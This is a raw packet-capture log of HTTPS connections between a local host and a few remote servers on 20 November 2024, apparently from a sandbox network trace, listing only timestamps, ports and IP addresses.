Nov 20, 2024 06:40:42.541307926 CET	443	49943	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.541461945 CET	49943	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.541461945 CET	49943	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.541461945 CET	49943	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.543350935 CET	49949	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.543375015 CET	443	49949	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.543643951 CET	49949	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.543771029 CET	49949	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.543785095 CET	443	49949	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.560892105 CET	443	49941	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.561183929 CET	443	49941	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.561290026 CET	49941	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.561311007 CET	49941	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.561331987 CET	443	49941	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.561353922 CET	49941	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.561361074 CET	443	49941	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.563287973 CET	49950	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.563335896 CET	443	49950	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.563405037 CET	49950	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.563549995 CET	49950	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.563579082 CET	443	49950	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:42.783601999 CET	443	49821	142.250.74.196	192.168.2.5
Nov 20, 2024 06:40:42.783761024 CET	443	49821	142.250.74.196	192.168.2.5
Nov 20, 2024 06:40:42.783829927 CET	49821	443	192.168.2.5	142.250.74.196
Nov 20, 2024 06:40:42.963706970 CET	49943	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:42.963746071 CET	443	49943	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.059859991 CET	49821	443	192.168.2.5	142.250.74.196
Nov 20, 2024 06:40:43.059886932 CET	443	49821	142.250.74.196	192.168.2.5
Nov 20, 2024 06:40:43.170285940 CET	443	49946	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.171221972 CET	49946	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.171221972 CET	49946	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.171238899 CET	443	49946	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.171257973 CET	443	49946	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.175236940 CET	443	49948	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.175559998 CET	49948	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.175579071 CET	443	49948	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.175964117 CET	49948	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.175971985 CET	443	49948	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.187949896 CET	443	49949	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.188688993 CET	49949	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.188688993 CET	49949	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.188705921 CET	443	49949	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.188724995 CET	443	49949	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.202908993 CET	443	49947	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.203612089 CET	49947	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.203612089 CET	49947	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.203639984 CET	443	49947	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.203655958 CET	443	49947	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.204561949 CET	443	49950	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.205296993 CET	49950	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.205296993 CET	49950	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.205317020 CET	443	49950	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.205332041 CET	443	49950	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.273987055 CET	443	49948	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.274132013 CET	443	49948	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.274287939 CET	49948	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.274288893 CET	49948	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.274393082 CET	49948	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.274410009 CET	443	49948	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.275624037 CET	443	49946	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.275697947 CET	443	49946	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.275809050 CET	443	49946	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.275935888 CET	49946	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.275953054 CET	49946	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.275953054 CET	49946	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.275974989 CET	443	49946	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.276057959 CET	49946	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.276068926 CET	443	49946	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.277204990 CET	49952	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.277240038 CET	443	49952	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.277360916 CET	49952	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.277693033 CET	49952	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.277704954 CET	443	49952	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.277967930 CET	49953	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.278016090 CET	443	49953	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.278143883 CET	49953	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.278220892 CET	49953	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.278234959 CET	443	49953	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.286736965 CET	443	49949	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.287008047 CET	443	49949	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.287309885 CET	49949	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.287309885 CET	49949	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.287309885 CET	49949	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.289558887 CET	49954	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.289582014 CET	443	49954	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.293549061 CET	49954	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.293549061 CET	49954	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.293576956 CET	443	49954	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.302685022 CET	443	49950	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.302778959 CET	443	49950	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.302892923 CET	443	49950	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.302984953 CET	49950	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.302984953 CET	49950	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.303037882 CET	49950	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.303047895 CET	443	49950	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.305716038 CET	49955	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.305731058 CET	443	49955	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.306207895 CET	49955	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.306207895 CET	49955	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.306235075 CET	443	49955	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.307691097 CET	443	49947	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.307848930 CET	443	49947	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.307950974 CET	49947	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.307950974 CET	49947	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.308064938 CET	49947	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.308078051 CET	443	49947	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.309905052 CET	49956	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.309981108 CET	443	49956	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.310206890 CET	49956	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.310206890 CET	49956	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.310293913 CET	443	49956	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.502068996 CET	49949	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.502100945 CET	443	49949	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.934839964 CET	443	49952	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.940063953 CET	49952	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.940083027 CET	443	49952	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.940927029 CET	49952	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.940937996 CET	443	49952	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.945451021 CET	443	49955	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.946090937 CET	443	49953	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.946130037 CET	49955	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.946151972 CET	443	49955	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.946428061 CET	49955	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.946434021 CET	443	49955	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.946444035 CET	443	49954	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.947278023 CET	49953	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.947278023 CET	49953	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.947299957 CET	443	49953	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.947310925 CET	443	49953	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.947921991 CET	49954	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.947936058 CET	443	49954	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.948637962 CET	49954	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.948647022 CET	443	49954	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.958416939 CET	443	49956	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.958867073 CET	49956	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.958921909 CET	443	49956	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:43.959295034 CET	49956	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:43.959306002 CET	443	49956	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.046135902 CET	443	49955	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.046349049 CET	443	49955	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.046562910 CET	49955	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.047338009 CET	443	49954	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.047523975 CET	443	49954	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.047914982 CET	49954	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.049221992 CET	49955	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.049249887 CET	443	49955	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.049278021 CET	49955	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.049284935 CET	443	49955	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.050426006 CET	443	49953	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.050460100 CET	443	49953	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.050513983 CET	443	49953	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.050545931 CET	49953	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.050637960 CET	49953	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.050795078 CET	49954	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.050815105 CET	443	49954	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.050837040 CET	49954	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.050843000 CET	443	49954	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.051908970 CET	49953	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.051908970 CET	49953	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.051915884 CET	443	49953	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.051927090 CET	443	49953	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.055792093 CET	49958	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.055809975 CET	49957	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.055882931 CET	443	49958	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.055897951 CET	443	49957	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.055999041 CET	49958	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.056003094 CET	49957	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.056817055 CET	49958	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.056818962 CET	49959	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.056840897 CET	443	49959	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.056852102 CET	443	49958	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.057019949 CET	49957	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.057060003 CET	443	49957	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.057085991 CET	49959	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.057180882 CET	49959	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.057205915 CET	443	49959	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.058095932 CET	443	49956	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.058384895 CET	443	49956	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.058895111 CET	49956	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.058940887 CET	49956	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.058940887 CET	49956	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.058964968 CET	443	49956	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.058986902 CET	443	49956	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.062299967 CET	49960	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.062350988 CET	443	49960	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.062432051 CET	49960	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.062663078 CET	49960	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.062680960 CET	443	49960	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.076062918 CET	443	49952	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.076272964 CET	443	49952	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.077398062 CET	49952	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.113313913 CET	49952	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.113337994 CET	443	49952	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.113349915 CET	49952	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.113356113 CET	443	49952	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.119034052 CET	49962	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.119083881 CET	443	49962	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.119134903 CET	49962	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.119276047 CET	49962	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.119292021 CET	443	49962	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.697206020 CET	443	49958	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.697671890 CET	49958	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.697699070 CET	443	49958	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.698137045 CET	49958	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.698143005 CET	443	49958	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.712234974 CET	443	49960	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.712572098 CET	49960	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.712595940 CET	443	49960	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.712987900 CET	49960	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.712992907 CET	443	49960	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.725557089 CET	443	49959	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.725946903 CET	49959	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.726038933 CET	443	49959	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.726334095 CET	49959	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.726349115 CET	443	49959	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.743347883 CET	443	49957	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.743693113 CET	49957	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.743714094 CET	443	49957	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.744107008 CET	49957	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.744117022 CET	443	49957	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.758940935 CET	443	49962	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.759274006 CET	49962	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.759293079 CET	443	49962	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.759665966 CET	49962	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.759670973 CET	443	49962	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.798340082 CET	443	49958	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.798523903 CET	443	49958	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.798623085 CET	49958	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.798648119 CET	49958	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.798660994 CET	443	49958	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.798674107 CET	49958	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.798680067 CET	443	49958	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.801148891 CET	49963	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.801207066 CET	443	49963	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.801346064 CET	49963	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.801490068 CET	49963	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.801507950 CET	443	49963	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.813345909 CET	443	49960	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.813468933 CET	443	49960	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.813652039 CET	49960	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.813895941 CET	49960	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.813913107 CET	443	49960	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.813926935 CET	49960	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.813934088 CET	443	49960	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.815980911 CET	49964	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.816011906 CET	443	49964	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.816211939 CET	49964	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.816409111 CET	49964	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.816422939 CET	443	49964	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.829646111 CET	443	49959	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.829843044 CET	443	49959	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.829932928 CET	49959	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.830151081 CET	49959	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.830169916 CET	443	49959	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.830180883 CET	49959	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.830187082 CET	443	49959	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.840037107 CET	49965	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.840066910 CET	443	49965	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.840193033 CET	49965	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.840555906 CET	49965	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.840569973 CET	443	49965	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.852080107 CET	443	49957	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.852344990 CET	443	49957	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.852499008 CET	49957	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.852499008 CET	49957	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.852499008 CET	49957	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.854629040 CET	49966	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.854641914 CET	443	49966	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.854724884 CET	49966	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.854847908 CET	49966	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.854861975 CET	443	49966	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.858074903 CET	443	49962	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.858144999 CET	443	49962	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.858251095 CET	49962	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.858262062 CET	443	49962	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.858299017 CET	443	49962	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.858347893 CET	49962	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.858356953 CET	49962	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.858417034 CET	49962	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.858421087 CET	443	49962	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.858438969 CET	443	49962	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.860348940 CET	49967	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.860362053 CET	443	49967	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:44.860495090 CET	49967	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.860655069 CET	49967	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:44.860665083 CET	443	49967	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.153634071 CET	49957	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.153662920 CET	443	49957	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.452337027 CET	443	49963	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.452912092 CET	49963	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.452974081 CET	443	49963	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.453421116 CET	49963	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.453439951 CET	443	49963	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.481895924 CET	443	49964	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.483329058 CET	49964	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.483350039 CET	443	49964	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.484030962 CET	49964	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.484036922 CET	443	49964	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.493604898 CET	443	49965	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.493972063 CET	49965	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.493993998 CET	443	49965	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.494541883 CET	49965	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.494548082 CET	443	49965	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.502727985 CET	443	49967	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.503032923 CET	49967	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.503040075 CET	443	49967	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.503468990 CET	49967	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.503473043 CET	443	49967	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.518688917 CET	443	49966	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.519196033 CET	49966	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.519210100 CET	443	49966	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.520230055 CET	49966	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.520236015 CET	443	49966	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.556945086 CET	443	49963	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.557130098 CET	443	49963	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.557200909 CET	49963	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.557291031 CET	49963	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.557291031 CET	49963	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.557328939 CET	443	49963	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.557353973 CET	443	49963	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.559801102 CET	49968	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.559851885 CET	443	49968	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.559947014 CET	49968	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.560126066 CET	49968	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.560148954 CET	443	49968	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.589437008 CET	443	49964	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.589520931 CET	443	49964	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.589632988 CET	49964	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.589687109 CET	49964	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.589687109 CET	49964	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.589705944 CET	443	49964	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.589715958 CET	443	49964	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.591917038 CET	49969	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.591957092 CET	443	49969	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.592021942 CET	49969	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.592173100 CET	49969	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:45.592185974 CET	443	49969	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.598907948 CET	443	49965	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.599596024 CET	443	49965	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:45.599661112 CET	49965	443	192.168.2.5	13.107.246.45
